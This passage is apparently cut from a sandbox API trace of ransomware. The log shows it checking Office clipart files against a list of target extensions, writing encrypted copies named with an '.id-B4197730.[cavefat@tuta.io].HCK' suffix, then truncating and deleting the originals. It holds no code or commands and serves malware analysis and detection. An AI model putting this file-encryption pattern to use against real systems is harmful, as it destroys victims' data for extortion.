Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString=".doc") returned 4 [0229.084] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.084] lstrlenW (lpString=".docx") returned 5 [0229.084] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0229.084] lstrlenW (lpString=".pdf") returned 4 [0229.084] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString=".xls") returned 4 [0229.084] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString=".xlsx") returned 5 [0229.084] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0229.084] lstrlenW (lpString=".ppt") returned 4 [0229.084] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.084] lstrlenW (lpString=".zip") returned 4 [0229.084] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.084] lstrlenW (lpString=".rar") returned 4 [0229.084] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.085] lstrlenW (lpString=".bz2") returned 4 [0229.085] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.085] lstrlenW (lpString=".7z") returned 3 [0229.085] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.085] lstrlenW (lpString=".dbf") returned 4 [0229.085] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.085] lstrlenW (lpString=".1cd") returned 4 [0229.085] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0229.085] lstrlenW (lpString=".jpg") returned 4 [0229.085] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.085] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0229.085] lstrlenW (lpString="J0099197.GIF") returned 12 [0229.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.086] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10898) returned 1 [0229.086] CloseHandle (hObject=0x4a8) returned 1 [0229.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0229.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.086] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.086] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.087] GetLastError () returned 0x0 [0229.087] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2a92, lpOverlapped=0x0) returned 1 [0229.379] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0229.380] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.380] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.380] SetEndOfFile (hFile=0x4c0) returned 1 [0229.380] CloseHandle (hObject=0x4c0) returned 1 [0229.381] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.381] SetEndOfFile (hFile=0x4a8) returned 1 [0229.382] CloseHandle (hObject=0x4a8) returned 1 [0229.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0229.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.384] lstrlenW (lpString=".doc") returned 4 [0229.384] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.384] lstrlenW (lpString=".docx") returned 5 [0229.384] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0229.384] lstrlenW (lpString=".pdf") returned 4 [0229.384] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.384] lstrlenW (lpString=".xls") returned 4 [0229.384] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.384] lstrlenW (lpString=".xlsx") returned 5 [0229.384] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0229.384] lstrlenW (lpString=".ppt") returned 4 [0229.384] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.384] lstrlenW (lpString=".zip") returned 4 [0229.384] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.384] lstrlenW (lpString=".rar") returned 4 [0229.384] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.384] lstrlenW (lpString=".bz2") returned 4 [0229.384] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.384] lstrlenW (lpString=".7z") returned 3 [0229.384] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString=".dbf") returned 4 [0229.385] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString=".1cd") returned 4 [0229.385] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString=".jpg") returned 4 [0229.385] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString=".doc") returned 4 [0229.385] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.385] lstrlenW (lpString=".docx") returned 5 [0229.385] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0229.385] lstrlenW (lpString=".pdf") returned 4 [0229.385] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.385] lstrlenW (lpString=".xls") returned 4 [0229.385] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.385] lstrlenW (lpString=".xlsx") returned 5 [0229.385] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0229.385] lstrlenW (lpString=".ppt") returned 4 [0229.385] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString=".zip") returned 4 [0229.385] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.385] lstrlenW (lpString=".rar") returned 4 [0229.385] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.385] lstrlenW (lpString=".bz2") returned 4 [0229.385] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.385] lstrlenW (lpString=".7z") returned 3 [0229.385] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString=".dbf") returned 4 [0229.385] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString=".1cd") returned 4 [0229.385] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0229.385] lstrlenW (lpString=".jpg") returned 4 [0229.385] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.385] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0229.385] lstrlenW (lpString="J0099205.WMF") returned 12 [0229.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.386] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=17854) returned 1 [0229.387] CloseHandle (hObject=0x4a8) returned 1 [0229.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0229.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.387] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.387] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.388] GetLastError () returned 0x0 [0229.388] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x45be, lpOverlapped=0x0) returned 1 [0229.390] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x45c0, lpOverlapped=0x0) returned 1 [0229.390] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.390] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.391] SetEndOfFile (hFile=0x4c0) returned 1 [0229.391] CloseHandle (hObject=0x4c0) returned 1 [0229.391] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.391] SetEndOfFile (hFile=0x4a8) returned 1 [0229.393] CloseHandle (hObject=0x4a8) returned 1 [0229.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0229.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.394] lstrlenW (lpString=".doc") returned 4 [0229.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString=".docx") returned 5 [0229.394] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0229.394] lstrlenW (lpString=".pdf") returned 4 [0229.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString=".xls") returned 4 [0229.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.394] lstrlenW (lpString=".xlsx") returned 5 [0229.394] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0229.394] lstrlenW (lpString=".ppt") returned 4 [0229.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.394] lstrlenW (lpString=".zip") returned 4 [0229.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.394] lstrlenW (lpString=".rar") returned 4 [0229.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString=".bz2") returned 4 [0229.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString=".7z") returned 3 [0229.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.394] lstrlenW (lpString=".dbf") returned 4 [0229.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.394] lstrlenW (lpString=".1cd") returned 4 [0229.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.394] lstrlenW (lpString=".jpg") returned 4 [0229.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.394] lstrlenW (lpString=".doc") returned 4 [0229.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.394] lstrlenW (lpString=".docx") returned 5 [0229.395] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0229.395] lstrlenW (lpString=".pdf") returned 4 [0229.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.395] lstrlenW (lpString=".xls") returned 4 [0229.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.395] lstrlenW (lpString=".xlsx") returned 5 [0229.395] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0229.395] lstrlenW (lpString=".ppt") returned 4 [0229.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.395] lstrlenW (lpString=".zip") returned 4 [0229.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.395] lstrlenW (lpString=".rar") returned 4 [0229.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.395] lstrlenW (lpString=".bz2") returned 4 [0229.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.395] lstrlenW (lpString=".7z") returned 3 [0229.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.395] lstrlenW (lpString=".dbf") returned 4 [0229.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.395] lstrlenW (lpString=".1cd") returned 4 [0229.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0229.395] lstrlenW (lpString=".jpg") returned 4 [0229.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.395] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.395] lstrlenW (lpString="J0101856.BMP") returned 12 [0229.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.396] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=78840) returned 1 [0229.396] CloseHandle (hObject=0x4a8) returned 1 [0229.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0229.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.397] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.397] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.399] GetLastError () returned 0x0 [0229.399] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x133f8, lpOverlapped=0x0) returned 1 [0229.402] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x13400, lpOverlapped=0x0) returned 1 [0229.403] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.403] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.403] SetEndOfFile (hFile=0x4c0) returned 1 [0229.403] CloseHandle (hObject=0x4c0) returned 1 [0229.403] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.404] SetEndOfFile (hFile=0x4a8) returned 1 [0229.406] CloseHandle (hObject=0x4a8) returned 1 [0229.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0229.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.407] lstrlenW (lpString=".doc") returned 4 [0229.407] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.407] lstrlenW (lpString=".docx") returned 5 [0229.407] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0229.407] lstrlenW (lpString=".pdf") returned 4 [0229.407] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.407] lstrlenW (lpString=".xls") returned 4 [0229.407] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.407] lstrlenW (lpString=".xlsx") returned 5 [0229.407] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0229.407] lstrlenW (lpString=".ppt") returned 4 [0229.407] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.407] lstrlenW (lpString=".zip") returned 4 [0229.407] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.407] lstrlenW (lpString=".rar") returned 4 [0229.407] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.407] lstrlenW (lpString=".bz2") returned 4 [0229.407] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.407] lstrlenW (lpString=".7z") returned 3 [0229.407] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString=".dbf") returned 4 [0229.408] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString=".1cd") returned 4 [0229.408] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString=".jpg") returned 4 [0229.408] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString=".doc") returned 4 [0229.408] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString=".docx") returned 5 [0229.408] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0229.408] lstrlenW (lpString=".pdf") returned 4 [0229.408] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString=".xls") returned 4 [0229.408] lstrcmpiW (lpString1=".xls", 